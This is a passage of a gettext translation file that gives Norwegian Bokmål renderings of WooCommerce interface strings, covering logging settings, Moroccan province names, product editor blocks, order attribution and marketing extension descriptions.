#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1952
#: src/RestApi/Routes/V4/Orders/Schema/OrderCouponSchema.php:65
msgid "Discount type."
msgstr "Rabattype."
#: includes/admin/views/html-admin-page-status-report.php:842
msgid "The total size of the files in the log directory."
msgstr "Den totale størrelsen på filene i loggmappen."
#: includes/admin/views/html-admin-page-status-report.php:841
msgid "Log directory size"
msgstr "Størrelse på loggmappe"
#: includes/admin/views/html-admin-page-status-report.php:837
msgid "The minimum severity level of logs that will be stored."
msgstr "Minimum alvorlighetsgrad for logger som vil bli lagret."
#: includes/admin/views/html-admin-page-status-report.php:817
msgid "How many days log entries will be kept before being auto-deleted."
msgstr "Hvor mange dager loggoppføringer vil bli beholdt før de automatisk slettes."
#: includes/admin/views/html-admin-page-status-report.php:812
msgid "How log entries are being stored."
msgstr "Hvordan loggoppføringer blir lagret."
#: includes/admin/views/html-admin-page-status-report.php:811
msgid "Handler"
msgstr "Behandler"
#: includes/admin/views/html-admin-page-status-report.php:807
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:760
msgid "Is logging enabled?"
msgstr "Er logging slått på?"
#: includes/admin/views/html-admin-page-status-report.php:801
msgid "Logging"
msgstr "Logging"
#: includes/admin/settings/views/html-admin-page-shipping-zone-methods.php:163
msgid "Create and save"
msgstr "Opprett og lagre"
#: i18n/states.php:1248
msgid "Zagora"
msgstr "Zagora"
#: i18n/states.php:1247
msgid "Youssoufia"
msgstr "Youssoufia"
#: i18n/states.php:1246
msgid "Tan-Tan"
msgstr "Tan-Tan"
#: i18n/states.php:1245
msgid "Tangier-Assilah"
msgstr "Tangier-Assilah"
#: i18n/states.php:1244
msgid "Tiznit"
msgstr "Tiznit"
#: i18n/states.php:1243
msgid "Tinghir"
msgstr "Tinghir"
#: i18n/states.php:1242
msgid "Tétouan"
msgstr "Tétouan"
#: i18n/states.php:1241
msgid "Taza"
msgstr "Taza"
#: i18n/states.php:1240
msgid "Tata"
msgstr "Tata"
#: i18n/states.php:1239
msgid "Taroudant"
msgstr "Taroudant"
#: i18n/states.php:1238
msgid "Taounate"
msgstr "Taounate"
#: i18n/states.php:1237
msgid "Taourirt"
msgstr "Taourirt"
#: i18n/states.php:1236
msgid "Tarfaya (EH-partial)"
msgstr "Tarfaya (EH-partial)"
#: i18n/states.php:1235
msgid "Sidi Youssef Ben Ali"
msgstr "Sidi Youssef Ben Ali"
#: i18n/states.php:1234
msgid "Skhirat-Témara"
msgstr "Skhirat-Témara"
#: i18n/states.php:1233
msgid "Sidi Slimane"
msgstr "Sidi Slimane"
#: i18n/states.php:1232
msgid "Sidi Kacem"
msgstr "Sidi Kacem"
#: i18n/states.php:1231
msgid "Sidi Ifni"
msgstr "Sidi Ifni"
#: i18n/states.php:1230
msgid "Sidi Bennour"
msgstr "Sidi Bennour"
#: i18n/states.php:1229
msgid "Settat"
msgstr "Settat"
#: i18n/states.php:1228
msgid "Sefrou"
msgstr "Sefrou"
#: i18n/states.php:1227
msgid "Salé"
msgstr "Salé"
#: i18n/states.php:1226
msgid "Safi"
msgstr "Safi"
#: i18n/states.php:1225
msgid "Rehamna"
msgstr "Rehamna"
#: i18n/states.php:1224
msgid "Rabat"
msgstr "Rabat"
#: i18n/states.php:1223
msgid "Ouezzane"
msgstr "Ouezzane"
#: i18n/states.php:1222
msgid "Oujda-Angad"
msgstr "Oujda-Angad"
#: i18n/states.php:1221
msgid "Oued Ed-Dahab"
msgstr "Oued Ed-Dahab"
#: i18n/states.php:1220
msgid "Ouarzazate"
msgstr "Ouarzazate"
#: i18n/states.php:1219
msgid "Nouaceur"
msgstr "Nouaceur"
#: i18n/states.php:1218
msgid "Nador"
msgstr "Nador"
#: i18n/states.php:1217
msgid "Moulay Yacoub"
msgstr "Moulay Yacoub"
#: i18n/states.php:1216
msgid "Mohammedia"
msgstr "Mohammedia"
#: i18n/states.php:1215
msgid "Marrakech-Menara"
msgstr "Marrakech-Menara"
#: i18n/states.php:1214
msgid "Marrakech-Medina"
msgstr "Marrakech-Medina"
#: i18n/states.php:1213
msgid "Midelt"
msgstr "Midelt"
#: i18n/states.php:1212
msgid "Meknès"
msgstr "Meknès"
#: i18n/states.php:1211
msgid "Médiouna"
msgstr "Médiouna"
#: i18n/states.php:1210
msgid "M’diq-Fnideq"
msgstr "M’diq-Fnideq"
#: i18n/states.php:1209
msgid "Marrakech"
msgstr "Marrakech"
#: i18n/states.php:1208
msgid "Larache"
msgstr "Larache"
#: i18n/states.php:1207
msgid "Laâyoune"
msgstr "Laâyoune"
#: i18n/states.php:1206
msgid "Khouribga"
msgstr "Khouribga"
#: i18n/states.php:1205
msgid "Khénifra"
msgstr "Khénifra"
#: i18n/states.php:1204
msgid "Khemisset"
msgstr "Khemisset"
#: i18n/states.php:1203
msgid "Kelaat Sraghna"
msgstr "Kelaat Sraghna"
#: i18n/states.php:1202
msgid "Kénitra"
msgstr "Kénitra"
#: i18n/states.php:1201
msgid "Jerada"
msgstr "Jerada"
#: i18n/states.php:1200
msgid "El Jadida"
msgstr "El Jadida"
#: i18n/states.php:1199
msgid "Inezgane-Aït Melloul"
msgstr "Inezgane-Aït Melloul"
#: i18n/states.php:1198
msgid "Ifrane"
msgstr "Ifrane"
#: i18n/states.php:1197
msgid "Al Hoceïma"
msgstr "Al Hoceïma"
#: i18n/states.php:1196
msgid "Al Haouz"
msgstr "Al Haouz"
#: i18n/states.php:1195
msgid "El Hajeb"
msgstr "El Hajeb"
#: i18n/states.php:1194
msgid "Guercif"
msgstr "Guercif"
#: i18n/states.php:1193
msgid "Guelmim"
msgstr "Guelmim"
#: i18n/states.php:1191
msgid "Fquih Ben Salah"
msgstr "Fquih Ben Salah"
#: i18n/states.php:1190
msgid "Figuig"
msgstr "Figuig"
#: i18n/states.php:1189 i18n/states.php:1192
msgid "Fès-Dar-Dbibegh"
msgstr "Fès-Dar-Dbibegh"
#: i18n/states.php:1188
msgid "Fahs-Beni Makada"
msgstr "Fahs-Beni Makada"
#: i18n/states.php:1187
msgid "Errachidia"
msgstr "Errachidia"
#: i18n/states.php:1186
msgid "Essaouira"
msgstr "Essaouira"
#: i18n/states.php:1185
msgid "Driouch"
msgstr "Driouch"
#: i18n/states.php:1184
msgid "Chtouka Aït Baha"
msgstr "Chtouka Aït Baha"
#: i18n/states.php:1183
msgid "Chichaoua"
msgstr "Chichaoua"
#: i18n/states.php:1182
msgid "Chefchaouen"
msgstr "Chefchaouen"
#: i18n/states.php:1181
msgid "Casablanca"
msgstr "Casablanca"
#: i18n/states.php:1180
msgid "Berrechid"
msgstr "Berrechid"
#: i18n/states.php:1179
msgid "Boulemane"
msgstr "Boulemane"
#: i18n/states.php:1178
msgid "Boujdour"
msgstr "Boujdour"
#: i18n/states.php:1177
msgid "Ben Slimane"
msgstr "Ben Slimane"
#: i18n/states.php:1176
msgid "Berkane"
msgstr "Berkane"
#: i18n/states.php:1175
msgid "Béni-Mellal"
msgstr "Béni-Mellal"
#: i18n/states.php:1174
msgid "Azilal"
msgstr "Azilal"
#: i18n/states.php:1173
msgid "Agadir-Ida Ou Tanane"
msgstr "Agadir-Ida Ou Tanane"
#: assets/client/blocks/product-gallery/block.json
msgctxt "block title"
msgid "Product Gallery (Beta)"
msgstr "Produktgalleri (Beta)"
#: assets/client/blocks/order-confirmation-additional-fields/block.json
msgctxt "block description"
msgid "Display the list of additional field values from the current order."
msgstr "Vis listen over tilleggsfeltverdier fra den aktuelle ordren."
#: assets/client/blocks/order-confirmation-additional-fields/block.json
msgctxt "block title"
msgid "Additional Field List"
msgstr "Liste over tilleggsfelt"
#: assets/client/blocks/order-confirmation-additional-fields-wrapper/block.json
msgctxt "block description"
msgid "Display additional checkout fields from the 'contact' and 'order' locations."
msgstr "Vis flere kassefelt fra 'kontakt'- og 'bestill'-plasseringene."
#: assets/client/blocks/order-confirmation-additional-fields-wrapper/block.json
msgctxt "block title"
msgid "Additional Fields"
msgstr "Tilleggsfelter"
#: assets/client/blocks/inner-blocks/checkout-additional-information-block/block.json
msgctxt "block description"
msgid "Render additional fields in the 'Additional information' location."
msgstr "Gjengi flere felt i lokasjonen \"Tilleggsinformasjon\"."
#: assets/client/blocks/inner-blocks/checkout-additional-information-block/block.json
msgctxt "block title"
msgid "Additional information"
msgstr "Tilleggsinformasjon"
#: assets/client/admin/product-editor/blocks/product-fields/product-details-section-description/block.json
msgctxt "block description"
msgid "The product details section description."
msgstr "Beskrivelsen i produktinformasjonsseksjonen."
#: assets/client/admin/product-editor/blocks/product-fields/product-details-section-description/block.json
msgctxt "block title"
msgid "Product details section description"
msgstr "Beskrivelse av produktdetaljer"
#: assets/client/admin/product-editor/blocks/generic/linked-product-list/block.json
#: assets/client/admin/product-editor/blocks/generic/product-linked-list-field/block.json
msgctxt "block keyword"
msgid "list"
msgstr "liste"
#: assets/client/admin/product-editor/blocks/generic/linked-product-list/block.json
#: assets/client/admin/product-editor/blocks/generic/product-linked-list-field/block.json
msgctxt "block keyword"
msgid "linked"
msgstr "lenket"
#: assets/client/admin/product-editor/blocks/generic/linked-product-list/block.json
#: assets/client/admin/product-editor/blocks/generic/product-linked-list-field/block.json
msgctxt "block description"
msgid "The linked product list."
msgstr "Den lenkede produktlisten."
#: assets/client/admin/product-editor/blocks/generic/linked-product-list/block.json
#: assets/client/admin/product-editor/blocks/generic/product-linked-list-field/block.json
msgctxt "block title"
msgid "Linked product list"
msgstr "Lenket produktliste"
#: templates/order/attribution-details.php:77
#: assets/client/blocks/add-to-cart-with-options-variation-selector-attribute.js:1
#: assets/client/blocks/add-to-cart-with-options-variation-selector.js:1
#: assets/client/blocks/checkout.js:17
#: assets/client/blocks/order-confirmation-create-account-frontend.js:1
#: assets/client/blocks/order-confirmation-create-account.js:1
#: assets/client/blocks/wc-cart-checkout-base-frontend.js:25
msgid "Medium"
msgstr "Medium"
#: src/Internal/TransientFiles/TransientFilesEngine.php:406
msgid "Un-schedule"
msgstr "Opphev planleggingen"
#: src/Internal/TransientFiles/TransientFilesEngine.php:405
msgid "Remove the currently scheduled action to delete expired transient files. Expired files won't be automatically deleted until the 'Schedule expired transient files cleanup' tool is run again."
msgstr "Fjern den planlagte handlingen for å slette utløpte transiente filer. Utløpte filer slettes ikke automatisk før verktøyet \"Schedule expired transient files cleanup\" kjøres på nytt."
#: src/Internal/TransientFiles/TransientFilesEngine.php:404
msgid "Un-schedule expired transient files cleanup"
msgstr "Opphev planlegging av opprydding av utløpte transiente filer"
#: src/Internal/TransientFiles/TransientFilesEngine.php:396
msgid "Re-schedule"
msgstr "Planlegge på nytt"
#: src/Internal/TransientFiles/TransientFilesEngine.php:394
msgid "Schedule the action to delete expired transient files for running immediately. Subsequent actions will run once every 24h."
msgstr "Planlegg at handlingen for å slette utløpte transiente filer skal kjøres umiddelbart. Påfølgende handlinger kjøres en gang hvert døgn."
#: src/Internal/TransientFiles/TransientFilesEngine.php:393
msgid "Remove the currently scheduled action to delete expired transient files, then schedule it again for running immediately. Subsequent actions will run once every 24h."
msgstr "Fjern den nåværende planlagte handlingen for å slette utløpte transiente filer, og planlegg deretter at den skal kjøres umiddelbart. Påfølgende handlinger kjøres én gang hvert døgn."
#: src/Internal/TransientFiles/TransientFilesEngine.php:391
msgid "Schedule expired transient files cleanup"
msgstr "Planlegg opprydding av utløpte transiente filer"
#: src/Internal/TransientFiles/TransientFilesEngine.php:390
msgid "Re-schedule expired transient files cleanup"
msgstr "Planlegg opprydding av utløpte transiente filer på nytt"
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:1194
msgid "Tip: By suggesting complementary products in the cart using cross-sells, you can significantly increase the average order value."
msgstr "Tips: Ved å foreslå komplementære produkter i handlekurven ved hjelp av kryssalg kan du øke den gjennomsnittlige ordreverdien betydelig."
#. translators: %1$s: "Learn more about linked products" link opening tag.
#. %2$s: "Learn more about linked products" link closing tag.
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:1174
msgid "By suggesting complementary products in the cart using cross-sells, you can significantly increase the average order value. %1$sLearn more about linked products%2$s"
msgstr "Ved å foreslå komplementære produkter i handlekurven ved hjelp av kryssalg kan du øke det gjennomsnittlige ordrebeløpet betydelig. %1$sLes mer om koblede produkter%2$s"
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:1156
msgid "Tip: Upsells are products that are extra profitable or better quality or more expensive. Experiment with combinations to boost sales."
msgstr "Tips: Mersalg er produkter som er ekstra lønnsomme, av bedre kvalitet eller dyrere. Eksperimenter med kombinasjoner for å øke salget."
#. translators: %1$s: "Learn more about linked products" link opening tag.
#. %2$s: "Learn more about linked products" link closing tag.
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:1141
msgid "Upsells are typically products that are extra profitable or better quality or more expensive. Experiment with combinations to boost sales. %1$sLearn more about linked products%2$s"
msgstr "Oppsalg er vanligvis produkter som er ekstra lønnsomme, av bedre kvalitet eller dyrere. Eksperimenter med kombinasjoner for å øke salget. %1$sLær mer om koblede produkter%2$s"
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/DownloadableProductTrait.php:44
msgid "Include downloads"
msgstr "Inkluder nedlastinger"
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:144
msgid "Linked products"
msgstr "Lenkede produkter"
#: src/Internal/DataStores/Orders/CustomOrdersTableController.php:498
msgid "Unable to start synchronization. The link you followed may have expired."
msgstr "Kunne ikke starte synkroniseringen. Koblingen du fulgte kan ha utløpt."
#: src/Internal/Admin/Orders/ListTable.php:1815
#: src/Internal/EmailEditor/PersonalizationTags/CustomerTagsProvider.php:26
msgid "Customer Email"
msgstr "Kundens e-postadresse"
#: src/Internal/Admin/Logging/Settings.php:403
msgid "You do not have permission to manage logging settings."
msgstr "Du har ikke tillatelse til å administrere innstillinger for logging."
#: src/Internal/Admin/Logging/Settings.php:371
msgid "Database settings"
msgstr "Databaseinnstillinger"
#. translators: %s is the name of a table in the database.
#: src/Internal/Admin/Logging/Settings.php:365
msgid "Log entries are stored in this database table: %s"
msgstr "Loggoppføringer lagres i denne databasetabellen: %s"
#: src/Internal/Admin/Logging/Settings.php:332
msgid "File system settings"
msgstr "Innstillinger for filsystem"
#: src/Internal/Admin/Logging/Settings.php:321
msgid "⚠️ This directory does not appear to be writable."
msgstr "⚠️ Denne katalogen ser ikke ut til å være skrivbar."
#. translators: %s is a location in the filesystem.
#: src/Internal/Admin/Logging/Settings.php:313
msgid "Log files are stored in this directory: %s"
msgstr "Loggfiler lagres i denne katalogen: %s"
#: src/Internal/Admin/Logging/Settings.php:275
msgid "This sets the minimum severity level of logs that will be stored. Lower severity levels will be ignored. \"None\" means all logs will be stored."
msgstr "Dette angir minste alvorlighetsgrad for loggene som skal lagres. Lavere alvorlighetsgrad ignoreres. \"Ingen\" betyr at alle logger lagres."
#: includes/admin/views/html-admin-page-status-report.php:836
#: src/Internal/Admin/Logging/Settings.php:274
msgid "Level threshold"
msgstr "Nivågrense"
#. translators: %1$s is the name of a code variable. %2$s is the name of a
#. file.
#: src/Internal/Admin/Logging/Settings.php:259
msgid "This setting cannot be changed here because it is defined in the %1$s constant, probably in your %2$s file."
msgstr "Denne innstillingen kan ikke endres her fordi den er definert i %1$s-konstanten, sannsynligvis i %2$s-filen."
#: src/Internal/Admin/Logging/Settings.php:231
msgid "This sets how many days log entries will be kept before being auto-deleted."
msgstr "Angir hvor mange dager loggoppføringer skal oppbevares før de slettes automatisk."
#: includes/admin/views/html-admin-page-status-report.php:816
#: src/Internal/Admin/Logging/Settings.php:230
msgid "Retention period"
msgstr "Oppbevaringsperiode"
#. translators: %s is the name of a filter hook.
#: src/Internal/Admin/Logging/Settings.php:215
msgid "This setting cannot be changed here because it is being set by a filter on the %s hook."
msgstr "Denne innstillingen kan ikke endres her, fordi den angis av et filter på %s-kroken."
#: src/Internal/Admin/Logging/Settings.php:183
msgid "This determines where log entries are saved."
msgstr "Dette bestemmer hvor loggoppføringene skal lagres."
#: src/Internal/Admin/Logging/Settings.php:182
msgid "Log storage"
msgstr "Logglagring"
#. translators: %s is the name of a code variable.
#: src/Internal/Admin/Logging/Settings.php:176
msgid "This setting cannot be changed here because it is defined in the %s constant."
msgstr "Denne innstillingen kan ikke endres her fordi den er definert i %s-konstanten."
#: src/Internal/Admin/Logging/Settings.php:170
msgid "Note that if this setting is changed, any log entries that have already been recorded will remain stored in their current location, but will not migrate."
msgstr "Vær oppmerksom på at hvis denne innstillingen endres, vil loggoppføringer som allerede er registrert, forbli lagret på sin nåværende plassering, men ikke overføres."
#: src/Internal/Admin/Logging/Settings.php:151
msgid "Database (not recommended on live sites)"
msgstr "Database (anbefales ikke på åpne nettsteder)"
#: src/Internal/Admin/Logging/Settings.php:150
msgid "File system (default)"
msgstr "Filsystem (standard)"
#: src/Internal/Admin/Logging/Settings.php:110
msgid "Logger"
msgstr "Logger"
#: src/Internal/Admin/Logging/Settings.php:105
msgid "Logs settings"
msgstr "Innstillinger for logger"
#. translators: %s is a URL to another admin screen.
#: src/Internal/Admin/Logging/PageController.php:115
msgid "Logging is disabled. It can be enabled in <a href=\"%s\">Logs Settings</a>."
msgstr "Loggføring er deaktivert. Den kan aktiveres i <a href=\"%s\">Logginnstillinger</a>."
#. translators: %1$s is a number of log files, %2$s is a slug-style name for a
#. file.
#: src/Internal/Admin/Logging/LogHandlerFileV2.php:202
msgid "%1$s log file from source %2$s was deleted."
msgid_plural "%1$s log files from source %2$s were deleted."
msgstr[0] "%1$s loggfil fra kilde %2$s ble slettet."
msgstr[1] "%1$s loggfiler fra kilde %2$s ble slettet."
#. translators: %d is an order ID.
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:1130
msgid "Differences found for order %d:"
msgstr "Forskjeller funnet for rekkefølge %d:"
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:1102
msgid "No differences found."
msgstr "Ingen forskjeller funnet."
#. translators: %1$d is an order ID, %2$s is an error message.
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:1098
msgid "An error occurred while computing a diff for order %1$d: %2$s"
msgstr "Det oppstod en feil under beregning av en diff for ordre %1$d: %2$s"
#. translators: %d is an order count.
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:1051
msgid "Orders subject to cleanup: %d"
msgstr "Ordrer som er gjenstand for opprydding: %d"
#. translators: %d is an order count.
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:1046
msgid "Unsynced orders: %d"
msgstr "Usynkroniserte ordre: %d"
#. translators: %s is either 'yes' or 'no'.
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:1043
msgid "Compatibility mode enabled?: %s"
msgstr "Kompatibilitetsmodus aktivert: %s"
#. translators: %s is either 'yes' or 'no'.
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:1040
msgid "HPOS enabled?: %s"
msgstr "HPOS slått på?: %s"
#: src/Admin/Features/ProductBlockEditor/Init.php:311
msgid "A link to a product sold on a different website, e.g. brand collab."
msgstr "En lenke til et produkt som selges på et annet nettsted, f.eks. et merkevaresamarbeid."
#: src/Admin/Features/ProductBlockEditor/Init.php:310
msgid "Affiliate product"
msgstr "Tilknyttet produkt"
#: src/Admin/Features/ProductBlockEditor/Init.php:298
msgid "A set of products that go well together, e.g. camera kit."
msgstr "Et sett med produkter som passer godt sammen, f.eks. et kamerasett."
#: src/Admin/Features/ProductBlockEditor/Init.php:285
msgid "A single physical or virtual product, e.g. a t-shirt or an eBook."
msgstr "Et enkelt fysisk eller virtuelt produkt, f.eks. en t-skjorte eller en e-bok."
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:118
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:3259
msgid "Boost international sales and save on FX fees. Accept 60+ local payment methods including Apple Pay and Google Pay."
msgstr "Øk det internasjonale salget og spar valutagebyrer. Godta over 60 lokale betalingsmåter, inkludert Apple Pay og Google Pay."
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:117
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:3258
msgid "Airwallex Payments"
msgstr "Airwallex-betalinger"
#: src/Admin/Features/MarketingRecommendations/DefaultMarketingRecommendations.php:398
msgid "Coupons for groups. Provides the option to have coupons that are restricted to group members or roles. Works with the free Groups plugin."
msgstr "Rabattkoder for grupper. Gir mulighet til å ha rabattkoder som er begrenset til gruppemedlemmer eller roller. Virker sammen med gratisutvidelsen «Groups»."
#: src/Admin/Features/MarketingRecommendations/DefaultMarketingRecommendations.php:384
msgid "Give away a free item to any customer with the coupon code."
msgstr "Gi bort et gratis produkt til alle kunder som bruker rabattkoden."
#: src/Admin/Features/MarketingRecommendations/DefaultMarketingRecommendations.php:370
msgid "Create \"store credit\" coupons for customers which are redeemable at checkout."
msgstr "Opprett rabattkoder med \"butikkreditt\" for kunder som kan innløses i kassen."
#: src/Admin/Features/MarketingRecommendations/DefaultMarketingRecommendations.php:356
msgid "Create a unique URL that applies a discount and optionally adds one or more products to the customer's cart."
msgstr "Opprett en unik nettadresse som gir rabatt, og eventuelt legger til ett eller flere produkter i kundens handlekurv."
#: src/Admin/Features/MarketingRecommendations/DefaultMarketingRecommendations.php:342
msgid "Powerful, \"all in one\" solution for gift certificates, store credits, discount coupons and vouchers."
msgstr "Kraftig «alt-i-en»-løsning for gavekort, kreditter, rabattkoder og tilgodelapper."
#: src/Admin/Features/MarketingRecommendations/DefaultMarketingRecommendations.php:328
msgid "Generate dynamic personalized coupons for your customers that increase purchase rates."
msgstr "Generer dynamiske og personlige rabattkoder til kundene dine som øker ordrefrekvensen."
#: src/Admin/Features/MarketingRecommendations/DefaultMarketingRecommendations.php:312
msgid "Sync your website's data like contacts, products, and orders over Salesforce CRM with Salesforce Integration for WooCommerce."
msgstr "Synkroniser nettstedets data som kontakter, produkter og ordre via Salesforce CRM med Salesforce Integration for WooCommerce."
#: src/Admin/Features/MarketingRecommendations/DefaultMarketingRecommendations.php:296
msgid "Integrate your WooCommerce store with 5000+ cloud apps and services today. Trusted by 11,000+ users."
msgstr "Integrer WooCommerce-butikken din med mer enn 5000 skybaserte apper og tjenester i dag. Pålitelig av mer enn 11 000 brukere."
#: src/Admin/Features/MarketingRecommendations/DefaultMarketingRecommendations.php:280
msgid "Harness data from WooCommerce to grow your business. Manage leads, customers, and segments, through automation, quotes, invoicing, billing, and email marketing. Power up your store with CRM."
msgstr "Utnytt data fra WooCommerce til å utvide virksomheten. Administrer leads, kunder og segmenter gjennom automatisering, tilbud, fakturering og e-postmarkedsføring. Styrk butikken din med CRM."
#: src/Admin/Features/MarketingRecommendations/DefaultMarketingRecommendations.php:264
msgid "Turn your product images into stunning videos that engage and convert audiences - no video experience required."
msgstr "Forvandle produktbildene dine til fantastiske videoer som engasjerer og konverterer publikum - uten at du trenger å ha erfaring med video."
#: src/Admin/Features/MarketingRecommendations/DefaultMarketingRecommendations.php:248
msgid "Collect and showcase verified reviews that consumers trust."
msgstr "Samle og vis frem bekreftede omtaler som forbrukerne stoler på."
#: src/Admin/Features/MarketingRecommendations/DefaultMarketingRecommendations.php:230
msgid "Delight customers and boost organic sales with a special WooCommerce birthday email (and coupon!) on their special day."
msgstr "Gjør kundene glade, og øk det organiske salget, med en spesiell fødselsdagshilsen (og rabattkode) i e-post på fødselsdagen deres."
#: src/Admin/Features/MarketingRecommendations/DefaultMarketingRecommendations.php:212
msgid "Boost your organic sales by adding a customer referral program to your WooCommerce store."
msgstr "Øk det organiske salget ved å legge til et kundehenvisningsprogram i WooCommerce-butikken."
#: src/Admin/Features/MarketingRecommendations/DefaultMarketingRecommendations.php:194
msgid "Convert and retain customers with automated marketing that does the hard work for you."
msgstr "Konverter og behold kunder med automatisert markedsføring som gjør jobben for deg."
#: src/Admin/Features/MarketingRecommendations/DefaultMarketingRecommendations.php:162
msgid "Send targeted campaigns, recover abandoned carts and more with Mailchimp."
msgstr "Send målrettede kampanjer, gjenopprett forlatte handlekurver og mer med Mailchimp."
#: src/Admin/Features/MarketingRecommendations/DefaultMarketingRecommendations.php:96
msgid "Create advertising campaigns and reach one billion global users with TikTok for WooCommerce."
msgstr "Lag reklamekampanjer og nå ut til en milliard globale brukere med TikTok for WooCommerce."
#: src/Admin/Features/MarketingRecommendations/DefaultMarketingRecommendations.php:78
msgid "Grow your business on Pinterest! Use this official plugin to allow shoppers to Pin products while browsing your store, track conversions, and advertise on Pinterest."
msgstr "Få bedriften din til å vokse på Pinterest! Bruk denne offisielle plugin-modulen til å la kundene pinne produkter mens de surfer i butikken din, spore konverteringer og annonsere på Pinterest."
#: src/Admin/Features/MarketingRecommendations/DefaultMarketingRecommendations.php:48
msgid "CRM"
msgstr "CRM"
#: src/Admin/Features/MarketingRecommendations/DefaultMarketingRecommendations.php:44
msgid "Conversion"
msgstr "Konverteringer"
#: src/Admin/Features/MarketingRecommendations/DefaultMarketingRecommendations.php:40
msgid "Automations"
msgstr "Automatiseringer"
#: src/Admin/Features/MarketingRecommendations/DefaultMarketingRecommendations.php:32
msgid "Sales channels"
msgstr "Salgskanaler"
#: src/Admin/API/Reports/Revenue/Stats/Controller.php:253
msgid "Override the \"woocommerce_date_type\" option that is used for the database date field considered for revenue reports."
msgstr "Overstyr \"woocommerce_date_type\"-alternativet som brukes for datofeltet i databasen i inntektsrapporter."
#: src/Admin/API/OnboardingProducts.php:80
msgid "Sorry, you cannot create dummy products."
msgstr "Du kan dessverre ikke opprette dummyprodukter."
#: src/Admin/API/MarketingCampaigns.php:279
msgid "Sales of the marketing campaign."
msgstr "Salg av markedsføringskampanjen."
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1981
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:2030
msgid "Limit result set to specific amount of suggested products."
msgstr "Begrens resultatsettet til et bestemt antall foreslåtte produkter."
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1970
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:2019
msgid "Limit result set to specific product tag ids."
msgstr "Begrens resultatsettet til bestemte produkttagg-id'er."
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1959
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:2008
msgid "Limit result set to specific product categorie ids."
msgstr "Begrens resultatsettet til bestemte produktkategori-id'er."
#: includes/rest-api/Controllers/Version3/class-wc-rest-layout-templates-controller.php:123
msgid "Invalid layout template ID."
msgstr "Ugyldig id for oppsettmal."
#: includes/rest-api/Controllers/Version3/class-wc-rest-layout-templates-controller.php:47
msgid "Area to get templates for."
msgstr "Område å hente maler for."
#. translators: %1$s is the downloadable file path, %2$s is an opening link
#. tag, %3%s is a closing link tag.
#: includes/class-wc-product-download.php:256
msgid "The downloadable file %s cannot be used as it does not exist on the server, or is not located within an approved directory. Please contact a site administrator for help. %2$sLearn more.%3$s"
msgstr "Den nedlastbare filen %s kan ikke brukes, da den ikke finnes på serveren eller ikke ligger i en godkjent katalog. Ta kontakt med en nettstedsadministrator for å få hjelp. %2$sFinn ut mer%3$s"
#: includes/admin/helper/class-wc-helper-orders-api.php:98
msgid "Could not start the installation process. Reason: "
msgstr "Kunne ikke starte installasjonsprosessen. Årsak til dette: "
#: assets/client/blocks/product-filter-rating/block.json
msgctxt "block description"
msgid "Enable customers to filter the product collection by rating."
msgstr "Gjør det mulig for kundene å filtrere produktutvalget etter vurdering."
#: assets/client/admin/product-editor/blocks/product-fields/product-list-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-list/block.json
msgctxt "block description"
msgid "The product list."
msgstr "Produktlisten."
#: assets/client/admin/product-editor/blocks/product-fields/product-list-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-list/block.json
msgctxt "block title"
msgid "Product list"
msgstr "Produktliste"
#: assets/client/admin/product-editor/blocks/generic/product-section-description/block.json
#: assets/client/admin/product-editor/blocks/generic/section-description/block.json
msgctxt "block description"
msgid "The product section description."
msgstr "Beskrivelse av produktseksjonen."
#: assets/client/admin/product-editor/blocks/generic/product-section-description/block.json
#: assets/client/admin/product-editor/blocks/generic/section-description/block.json
msgctxt "block title"
msgid "Product section description"
msgstr "Beskrivelse av produktseksjonen"
#: templates/order/customer-history.php:46
msgid "This is the Customer Lifetime Value, or the total amount you have earned from this customer's orders."
msgstr "Dette er Customer Lifetime Value, eller det totale beløpet du har tjent på denne kundens ordre."
#: templates/order/customer-history.php:43
msgid "Total revenue"
msgstr "Total omsetning"
#: templates/order/customer-history.php:31
msgid "Total number of non-cancelled, non-failed orders for this customer, including the current one."
msgstr "Totalt antall ikke-avbestilte, ikke-mislykkede ordre for denne kunden, inkludert den aktuelle."
#: templates/order/customer-history.php:28
msgid "Total orders"
msgstr "Totalt antall ordre"
#: templates/order/attribution-details.php:126
msgid "The number of unique pages viewed by the customer prior to this order."
msgstr "Antall unike sider kunden har sett før denne ordren."
#: templates/order/attribution-details.php:123
msgid "Session page views"
msgstr "Sidevisninger i økten"
#: templates/order/attribution-details.php:114
msgid "Device type"
msgstr "Enhetstype"
#: templates/order/attribution-details.php:51
msgid "Source type"
msgstr "Kildetype"
#: templates/order/attribution-details.php:42
msgid "Hide details"
msgstr "Skjul detaljer"
#: templates/order/attribution-details.php:41
msgid "Show details"
msgstr "Vis detaljer"
#: src/StoreApi/Schemas/V1/CheckoutSchema.php:194
msgid "Additional fields to be persisted on the order."
msgstr "Ytterligere felter som skal lagres på ordren."
#: src/Internal/Traits/OrderAttributionMeta.php:312
msgid "Web admin"
msgstr "Webadministrator"
#: src/Internal/Traits/OrderAttributionMeta.php:300
